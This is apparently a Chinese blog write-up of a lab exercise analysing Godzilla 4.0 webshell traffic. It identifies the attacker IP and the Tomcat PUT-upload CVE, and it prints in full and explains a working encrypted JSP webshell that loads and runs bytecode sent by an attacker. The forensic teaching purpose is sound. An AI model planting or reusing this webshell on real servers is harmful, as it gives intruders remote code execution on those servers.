玄机第六章哥斯拉4.0流量分析

最新推荐文章于 2025-08-04 22:25:30 发布

2301_79716382

最新推荐文章于 2025-08-04 22:25:30 发布

阅读量1.1k

点赞数 13

CC 4.0 BY-SA版权

文章标签：安全威胁分析

本文链接：https://blog.csdn.net/2301_79716382/article/details/145998862

玄机第六章哥斯拉4.0流量分析

简介

请你登录服务器结合数据包附件来分析黑客的入侵行为

用户名：root

密码：xj@gsl4.0

SSH连接：ssh root@ip -p 222

1.黑客的IP是什么

flag{192.168.31.190}

2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)

筛选http请求，点击Info可以根据字母顺序进行排序并且把相同类型的数据包排放在一起，然后可以清楚地注意到有两个put请求

先了解一下put请求是什么

HTTP PUT 请求方法创建一个新的资源或用请求的有效载荷替换目标资源的表示。

PUT 与 POST 方法的区别是，PUT 方法是幂等的：调用一次与连续调用多次效果是相同的（即没有副作用），而连续调用多次相同的 POST 方法可能会有副作用，比如多次提交同一订单。

接下来右键查看put请求的http流

从第一个put请求的流可以看到明显上传了webshell

这里问的是cve漏洞

所以直接上浏览器关键字搜索

可以得到cve漏洞编号

flag{CVE-2017-12615}

这里需要分析一下put上传的webshell，有利于后续做题

<%! String xc="1710acba6220f62b"; String pass="7f0e6f"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}

String xc=“1710acba6220f62b”; String pass=“7f0e6f”; String md5=md5(pass+xc);

这里的xc是AES加密的密钥，pass是接下来发包传参的参数，md5的值用于最后验证

class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}

自定义类加载器，允许动态加载外部字节码，绕过Java的类加载机制，加载恶意代码。

public byte[] x(byte[] s, boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(“AES”);
c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(),“AES”));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}

该方法用于AES加密和解密，以xc的值作为密钥

public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance(“MD5”);
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}

该方法用于md5加密

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64=Class.forName(“java.util.Base64”);
Object Encoder = base64.getMethod(“getEncoder”, null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod(“encodeToString”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName(“sun.misc.BASE64Encoder”);
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod(“encode”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName(“java.util.Base64”);
Object decoder = base64.getMethod(“getDecoder”, null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod(“decode”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName(“sun.misc.BASE64Decoder”);
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod(“decodeBuffer”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}

这两个方法用于base64加密和base64解密

<%try{
byte[] data=base64Decode(request.getParameter(pass));
data=x(data, false);
if (session.getAttribute(“payload”)==null){
session.setAttribute(“payload”,new X(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute(“parameters”,data);
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute(“payload”)).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}catch (Exception e){}

这个是主体部分，先对pass传参进来的值进行base64解码再进行AES解码，如果 session 中没有 payload，则将解密后的字节码加载为一个类并存储到 session 中。如果 session 中已有 payload，则实例化该类，并通过调用 equals 方法（实际上可能是被重写的恶意方法）执行恶意代码。